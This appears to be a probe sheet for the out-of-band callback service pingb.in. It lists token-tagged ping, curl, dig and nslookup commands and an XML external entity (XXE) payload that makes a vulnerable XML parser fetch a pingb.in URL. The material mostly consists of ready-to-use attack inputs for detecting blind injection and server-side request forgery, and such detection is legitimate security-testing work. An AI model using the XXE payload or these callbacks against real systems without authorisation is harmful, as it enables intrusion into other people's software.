$ ping -c1 -p 0003873eb647d5b44f99a68335a52500 pingb.in
 

$ curl pingb.in/p/03873eb647d5b44f99a68335a525
 

$ dig 03873eb647d5b44f99a68335a525 @pingb.in
 

$ dig 03873eb647d5b44f99a68335a525.ns.pingb.in
 

C:\> nslookup 03873eb647d5b44f99a68335a525 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/03873eb647d5b44f99a68335a525">]>
    <foo>&xxe;</foo>